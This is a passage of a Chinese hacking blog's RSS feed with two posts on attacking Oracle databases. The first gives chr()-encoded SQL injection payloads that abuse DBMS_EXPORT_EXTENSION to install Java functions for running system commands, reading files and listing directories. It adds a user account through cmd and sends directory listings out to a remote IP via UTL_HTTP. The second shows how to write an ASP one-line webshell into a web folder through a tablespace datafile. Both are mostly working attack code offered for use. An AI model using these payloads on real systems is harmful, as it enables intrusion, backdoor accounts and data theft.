/>chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)<br />,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual</p>
<p>)</p>
<p>readfile函数的ascii版就不写了，见谅。</p>
<p>3.创建函数</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),<br />chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||<br />chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||<br />chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||<br />chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||<br />chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||<br />chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||<br />chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||<br />chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||<br />chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||<br />chr(59)||chr(45)||chr(45)<br />,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual</p>
<p>4.赋public执行函数的权限</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),<br />chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||<br />chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||<br />chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||<br />chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||<br />chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||<br />chr(59)||chr(45)||chr(45)<br />,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual</p>
<p>5.执行命令：</p>
<p>/xxx.jsp?id=1 and chr(49)&lt;&gt;chr(32)||(<br />select&nbsp; sys.LinxRunCMD('cmd /c net user linx /add') from dual<br />)</p>
<p>即<br />/xxx.jsp?id=1 and chr(49)&lt;&gt;chr(32)||(<br />select&nbsp; sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual<br />)</p>
<p>/////////////////////<br />再加一个函数openDir():<br />在oracle上创建Java包LinxUtil，里面三个函数，runCMD用于执行系统命令，readFile用于读取文件，openDir用于浏览目录：<br />/xxx.jsp?id=1 and '1'&lt;&gt;'a'||(<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace and compile java source named &quot;LinxUtil&quot; as import java.io.*; public class LinxUtil extends Object {<br />public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}<br />public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str=&quot;&quot;;while ((stemp = myReader.readLine()) != null) str +=stemp+&quot;\n&quot;;myReader.close();return str;} catch (Exception e){return e.toString();}}<br />public static String openDir(String dir) {String str = &quot;&quot;;File file = new File(dir); String[] filelist = file.list(); for (int i = 0; i &lt; filelist.length; i++) str += filelist + (char)0xa;return str;}}'''';END;'';END;--','SYS',0,'1',0) from dual<br />)<br />select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&#038;qu<br />
ot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''<br />create or replace function LinxOpenDir(filename in varchar2)&nbsp;&nbsp;return varchar2&nbsp;&nbsp;as language java name ''''''''LinxUtil.openDir(java.lang.String) return String'''''''';&nbsp; &nbsp;'''';END;'';END;--','SYS',0,'1',0) from dual</p>
<p>select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT&quot;.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxOpenDir to public'''';END;'';END;--','SYS',0,'1',0) from dual<br />select&nbsp;&nbsp;sys.LinxOpenDir('/') from dual</p>
<p>SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxOpenDir:'||REPLACE(REPLACE(sys.LinxOpenDir('/'),' ','%20'),chr(10),'%0A')) FROM dual</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年02月10日 -- <a href="http://www.4shell.org/archives/2080.html" title="Xpath SQL Injection">Xpath SQL Injection</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1955.html" title="Easy Media Script SQL Injection Vulnerability">Easy Media Script SQL Injection Vulnerability</a></li><li>2011年05月12日 -- <a href="http://www.4shell.org/archives/1926.html" title="Joomla Component com_hello SQL Injection Vulnerability">Joomla Component com_hello SQL Injection Vulnerability</a></li><li>2010年06月6日 -- <a href="http://www.4shell.org/archives/1772.html" title="Havij v1.1 Advanced SQL Injection">Havij v1.1 Advanced SQL Injection</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li><li>2010年04月14日 -- <a href="http://www.4shell.org/archives/1690.html" title="SFX-SQLi SQL2005/2008注入工具">SFX-SQLi SQL2005/2008注入工具</a></li><li>2009年12月6日 -- <a href="http://www.4shell.org/archives/1316.html" title="SQL通用防注入程序 20091206版">SQL通用防注入程序 20091206版</a></li><li>2009年10月7日 -- <a href="http://www.4shell.org/archives/1137.html" title="getwebshell for oracle">getwebshell for oracle</a></li><li>2009年09月21日 -- <a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/440.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ORACLE 建立数据文件WriteWebShell</title>
		<link>http://www.4shell.org/archives/382.html</link>
		<comments>http://www.4shell.org/archives/382.html#comments</comments>
		<pubDate>Sun, 12 Oct 2008 08:23:35 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Oracle]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/382.html</guid>
		<description><![CDATA[<p>其实 类似ORACLE 这样强大的数据库，真没必要用到这么土的办法</p><p>SQLJ&#160;&#160;&#160;存储过程写文件也可以，逼于无奈对方机器不支持SQLJ&#160; 还有&#160; UTL_FILE包也被干掉了？</p><p>那 也可以 使用以下我说的这个方式<br /><br />SQL&#62; create tablespace kjtest datafile 'e:\website\kj.asp' size 100k nologging ;</p><p>表空间已创建。</p>...
]]></description>
			<content:encoded><![CDATA[<p>其实 类似ORACLE 这样强大的数据库，真没必要用到这么土的办法</p>
<p>SQLJ   存储过程写文件也可以，逼于无奈对方机器不支持SQLJ  还有  UTL_FILE包也被干掉了？</p>
<p>那 也可以 使用以下我说的这个方式</p>
<p>SQL&gt; create tablespace kjtest datafile 'e:\website\kj.asp' size 100k nologging ;</p>
<p>表空间已创建。</p>
<p>这里记住了  100K为ORACLE 表空间最小的单位，如果你的一句话SHELL比较大 那可以200K比较稳妥</p>
<p>但是最终建议一句话一定要最最简洁</p>
<p>SQL&gt; CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;</p>
<p>表已创建。</p>
<p>一般用 VARCHAR类型已经可以 ，表空间太小了 ，所以不可以 为 CLOB或者 BLOB类型。</p>
<p>SQL&gt; insert into WEBSHELL values('&lt;%execute request("kj021320")%&gt;');</p>
<p>已创建 1 行。</p>
<p>SQL&gt; commit;</p>
<p>提交完成。</p>
<p>提交完成之后就 OK？ NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间</p>
<p>SQL&gt; alter tablespace kjtest offline;</p>
<p>表空间已更改。</p>
<p>到这里 你的 一句话SHELL代码已经 写到 那个文件了</p>
<p>你会发现有这样的 &lt;%execute request("kj021320")%&gt;Z   €Z    的 代码</p>
<p>一句话shell已经OK了</p>
<p>最后使用后记得吧 表空间删除</p>
<p>SQL&gt; drop tablespace kjtest including contents;</p>
<p>表空间已删除。</p>
<p>当然这个方法缺点就是你要知道WEB路径</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年10月7日 -- <a href="http://www.4shell.org/archives/1137.html" title="getwebshell for oracle">getwebshell for oracle</a></li><li>2009年04月10日 -- <a href="http://www.4shell.org/archives/767.html" title="oracle执行cmd">oracle执行cmd</a></li><li>2008年12月13日 -- <a href="http://www.4shell.org/archives/704.html" title="ORACLE 建立数据文件WriteWebShell">ORACLE 建立数据文件WriteWebShell</a></li><li>2008年11月14日 -- <a href="http://www.4shell.org/archives/606.html" title="Oracle密码文件使用与维护技巧">Oracle密码文件使用与维护技巧</a></li><li>2008年10月19日 -- <a href="http://www.4shell.org/archives/446.html" title="Linx Oracle 自动攻击器">Linx Oracle 自动攻击器</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/440.html" title="犀利的 oracle 注入技术">犀利的 oracle 注入技术</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/382.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

